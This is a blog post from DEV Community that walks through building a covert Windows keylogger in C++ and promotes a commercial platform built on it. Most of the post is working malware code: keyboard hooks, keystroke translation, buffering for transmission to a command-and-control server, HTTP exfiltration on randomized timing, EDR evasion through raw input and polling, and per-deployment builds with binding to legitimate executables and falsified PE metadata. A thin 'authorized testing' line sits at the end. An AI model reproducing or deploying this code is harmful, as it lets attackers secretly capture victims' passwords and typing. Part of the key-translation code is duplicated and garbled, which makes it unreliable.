DEV Community

Claudia
Claudia

Posted on

Building a Low-Level Windows Keylogger in C++ — From Hooks to Evasion

Building a Low-Level Windows Keylogger in C++ — From Hooks to Evasion

A practical deep-dive into Windows keyboard input capture, using SetWindowsHookEx, raw input processing, and compile-time diversification for red team operations.


1. Understanding Keyboard Input on Windows

Windows provides two main APIs for capturing keystrokes:

  • SetWindowsHookEx with WH_KEYBOARD_LL — A low-level global hook that captures all keyboard input system-wide, without requiring a window or message pump in the traditional sense.
  • Raw Input API (RIDEV_INPUTSINK) — Registers the device for raw input even when the window is not in focus.

Both have trade-offs. The hook approach is simpler and more common in red team tooling, but it leaves specific forensic artifacts. We'll cover both and discuss evasion for each.


2. The Low-Level Keyboard Hook (WH_KEYBOARD_LL)

This is the most common approach in C++ keyloggers. It installs a hook that monitors keyboard messages before they reach the target window's message queue.

#include <windows.h>
#include <fstream>
#include <ctime>
#include <sstream>

#pragma comment(lib, "user32.lib")

// Log file path — compile-time configurable
#define LOG_PATH "C:\\ProgramData\\\\log.dat"

HHOOK g_hKeyboardHook = nullptr;

// Key state map for shift-dependent characters
bool g_bShiftPressed = false;
bool g_bCapsLock = false;

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode < 0 || nCode != HC_ACTION)
        return CallNextHookEx(nullptr, nCode, wParam, lParam);

    KBDLLHOOKSTRUCT* pKeyStruct = reinterpret_cast<KBDLLHOOKSTRUCT*>(lParam);

    if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
        DWORD vkCode = pKeyStruct->vkCode;

        // Track modifier keys
        if (vkCode == VK_SHIFT || vkCode == VK_LSHIFT || vkCode == VK_RSHIFT)
            g_bShiftPressed = true;
        if (vkCode == VK_CAPITAL)
            g_bCapsLock = (GetKeyState(VK_CAPITAL) & 0x0001) != 0;

        // Log the keystroke
        LogKeystroke(vkCode);
    }

    if (wParam == WM_KEYUP) {
        DWORD vkCode = pKeyStruct->vkCode;
        if (vkCode == VK_SHIFT || vkCode == VK_LSHIFT || vkCode == VK_RSHIFT)
            g_bShiftPressed = false;
    }

    return CallNextHookEx(nullptr, nCode, wParam, lParam);
}
Enter fullscreen mode Exit fullscreen mode

The hook callback runs in the context of the thread that installed it. For a global hook, you need a message loop — otherwise the hook is silently unloaded after a timeout.

void InstallHook() {
    g_hKeyboardHook = SetWindowsHookEx(
        WH_KEYBOARD_LL,          // Low-level keyboard hook
        KeyboardProc,             // Callback function
        GetModuleHandle(nullptr), // Handle to the current module
        0                         // Hook all threads
    );

    if (!g_hKeyboardHook) {
        DWORD error = GetLastError();
        // Log error for debugging (compiled out in release builds)
        return;
    }

    // Message loop — required for low-level hooks
    MSG msg;
    while (GetMessage(&msg, nullptr, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
}
Enter fullscreen mode Exit fullscreen mode

Critical detail: The message loop is not optional. Without GetMessage() or PeekMessage(), the hook is silently removed by Windows after a few seconds. This is a common mistake that causes hooks to "mysteriously stop working."


3. Keystroke Translation — Handling Virtual Key Codes

The raw vkCode from KBDLLHOOKSTRUCT is not human-readable. You need to translate it using ToAscii or MapVirtualKey:

#include <windows.h>

std::string TranslateKey(DWORD vkCode, bool shift, bool caps) {
    char buffer[16] = {0};

    // Special keys first
    switch (vkCode) {
        case VK_RETURN:  return "\n";
        case VK_BACK:    return "[BACKSPACE]";
        case VK_TAB:     return "[TAB]";
        case VK_SPACE:   return " ";
        case VK_DELETE:  return "[DEL]";
        case VK_ESCAPE:  return "[ESC]";
        case VK_UP:      return "[UP]";
        case VK_DOWN:    return "[DOWN]";
        case VK_LEFT:    return "[LEFT]";
        case VK_RIGHT:   return "[RIGHT]";
        case VK_SHIFT:
        case VK_LSHIFT:
        case VK_RSHIFT:
        case VK_CONTROL:
        case VK_LCONTROL:
        case VK_RCONTROL:
        case VK_MENU:
        case VK_LMENU:
        case VK_RMENU:   return ""; // Don't log modifier keys alone
    }

    // Handle alphanumeric keys
    BYTE keyboardState[256] = {0};
    keyboardState[VK_SHIFT]   = shift ? 0x80 : 0;
    keyboardState[VK_CAPITAL] = caps  ? 0x01 : 0;

    // Map virtual key to scan code, then convert to ASCII 
    UINT scanCode = MapVirtualKey(vkCode, MAPVK_VK_TO_VSC);

    // Handle extended keys (e.g., right-side Alt/Ctrl)
    bool extended = (vkCode >= VK_PRIOR && vkCode <= VK_DOWN) || 
                    vkCode == VK_INSERT || vkCode == VK_DELETE;

    if (ToAscii(vkCode, scanCode, keyboardState, 
                reinterpret_cast<LPWORD>(buffer), 0) > 0) {
        return std::string(buffer);
    }

    // Fallback for unmapped keys
    char fallback[32];
    snprintf(fallback, sizeof(fallback), "[%02X]", vkCode);
    return std::string(fallback);
}Code, keyboardState, 
                reinterpret_cast<LPWORD>(buffer), 0) > 0) {
        return std::string(buffer);
    }

    // Fallback for unmapped keys
    char fallback[32];
    snprintf(fallback, sizeof(fallback), "[%02X]", vkCode);
    return std::string(fallback);
}
Enter fullscreen mode Exit fullscreen mode

The ToAscii function respects the current keyboard layout, so this works with international keyboards, special characters, and modifier key combinations automatically.


4. Logging Strategies — Beyond a Simple File

Writing every keystroke to a flat file on disk is detectable and fragile. Here are three better approaches:

Strategy A: Memory Buffer + Batch Flush

class KeyLogBuffer {
private:
    std::vector<std::string> m_buffer;
    std::mutex m_mutex;
    size_t m_flushThreshold;
    size_t m_maxEntries;

public:
    KeyLogBuffer(size_t threshold = 50, size_t maxEntries = 1000)
        : m_flushThreshold(threshold), m_maxEntries(maxEntries) {}

    void Add(const std::string& entry) {
        std::lock_guard<std::mutex> lock(m_mutex);
        m_buffer.push_back(entry);

        if (m_buffer.size() >= m_flushThreshold) {
            Flush();
        }
    }

    void Flush() {
        if (m_buffer.empty()) return;

        // Build batch
        std::string batch;
        for (const auto& e : m_buffer) {
            batch += e;
        }
        m_buffer.clear();

        // Transmit over C2 channel
        TransmitBatch(batch);
    }

private:
    void TransmitBatch(const std::string& data) {
        // HTTP POST to C2 endpoint
        // Encoded as URL parameter or POST body
        // Random intervals to avoid traffic pattern detection
    }
};
Enter fullscreen mode Exit fullscreen mode

Strategy B: Event-Driven with Named Pipe (for injection scenarios)

When running inside a spawned or injected process, use a named pipe to communicate back to the parent process instead of writing to disk:

HANDLE CreateLogPipe() {
    SECURITY_ATTRIBUTES sa = {sizeof(sa), nullptr, TRUE};

    HANDLE hPipe = CreateNamedPipe(
        L"\\\\.\\pipe\\" LOG_PIPE_NAME,
        PIPE_ACCESS_OUTBOUND,
        PIPE_TYPE_BYTE | PIPE_WAIT,
        1,                    // Max instances
        4096,                 // Output buffer
        4096,                 // Input buffer
        0,                    // Default timeout
        &sa
    );

    return hPipe;
}

void WriteToPipe(HANDLE hPipe, const std::string& data) {
    DWORD written;
    WriteFile(hPipe, data.c_str(), data.size(), &written, nullptr);
}
Enter fullscreen mode Exit fullscreen mode

Strategy C: HTTP Exfiltration with Randomized Intervals

void ExfiltrateBuffer(const std::string& data) {
    // Randomize timing to avoid traffic analysis
    int delay = 5000 + (rand() % 30000);  // 5-35 seconds
    Sleep(delay);

    // Randomize URL path
    std::string path = RandomString(8);

    // POST with randomized User-Agent
    // ...
}
Enter fullscreen mode Exit fullscreen mode

5. Evasion Considerations

Avoiding User32!SetWindowsHookEx Fingerprinting

SetWindowsHookEx is heavily monitored by EDR. Alternatives:

Raw Input API — Register for raw input without creating a visible window:

#include <windows.h>

void SetupRawInputCapture() {
    // Create a hidden window for raw input processing
    // (Required by the Raw Input API)

    RAWINPUTDEVICE rid;
    rid.usUsagePage = 0x01;        // Generic desktop controls
    rid.usUsage     = 0x06;        // Keyboard
    rid.dwFlags     = RIDEV_INPUTSINK | RIDEV_DEVNOTIFY;
    rid.hwndTarget  = g_hHiddenWnd;

    if (!RegisterRawInputDevices(&rid, 1, sizeof(rid))) {
        // Fallback to hook approach
        InstallHook();
    }
}
Enter fullscreen mode Exit fullscreen mode

GetAsyncKeyState Polling — Lower detection risk, higher CPU usage:

void PollingKeyCapture() {
    std::map<int, bool> previousState;

    while (g_running) {
        for (int key = 0x08; key <= 0xFE; key++) {
            SHORT state = GetAsyncKeyState(key);
            bool isDown = (state & 0x8000) != 0;
            bool wasDown = previousState[key];

            if (isDown && !wasDown) {
                // Key pressed — log it
                Logkeystroke(key);
            }

            previousState[key] = isDown;
        }

        Sleep(10);  // ~100 keys scanned per second
    }
}
Enter fullscreen mode Exit fullscreen mode

PE Header Obfuscation

When using SetWindowsHookEx, the export ordinal of the hook procedure is visible in the PE's export table if the DLL is compiled with exports. Mitigate by:

  • Using ordinal exports instead of named exports
  • Stripping export names after compilation
  • Using GetProcAddress with encrypted string lookups

6. Compile-Time Diversification (Reusing Our Pipeline)

The keylogger should not be a static binary. Apply the same per-deployment compilation approach:

// config.h.in — generated per build
#define C2_ENDPOINT     "@C2_ADDRESS@"
#define EXFIL_PORT       @EXFIL_PORT@
#define POLL_INTERVAL    @POLL_MS@
#define BUFFER_SIZE      @BUF_SIZE@
#define USE_RAW_INPUT    @USE_RAW@
#define MUTEX_NAME      "@MUTEX_NAME@"    // Unique per deployment
Enter fullscreen mode Exit fullscreen mode
void AntiDoubleRun() {
    // Mutex name is compile-time unique — no hardcoded strings
    HANDLE hMutex = CreateMutex(nullptr, FALSE, MUTEX_NAME);
    if (GetLastError() == ERROR_ALREADY_EXISTS) {
        ExitProcess(0);
    }
}
Enter fullscreen mode Exit fullscreen mode

7. Full Setup Flow

1. Generate unique config for deployment
2. Compile with randomized flags (Clang/GCC, O0-Oz)
3. Optional: Bind with a legitimate host executable
4. Deploy with clean PE metadata (zeroed timestamp, fake rich header)
5. Wait. Hook installs silently. Batch buffer fills.
6. Exfiltrate on schedule. No disk writes. No suspicious files.
Enter fullscreen mode Exit fullscreen mode

Closing Notes

The techniques above form a practical foundation for Windows keyboard capture in red team operations. The key points:

  • SetWindowsHookEx works but leaves detectable artifacts
  • Raw Input and polling are quieter alternatives
  • Per-deployment compilation eliminates shared signatures
  • Batch exfiltration with randomized timing defeats traffic analysis

For a production-ready platform that implements this exact pipeline with a custom compiler per user, web-based C2 dashboard, and integrated binder/stub support:

https://v-entity.pro


Built for authorized security testing. Follow development on Telegram: https://t.me/violetentity

Top comments (0)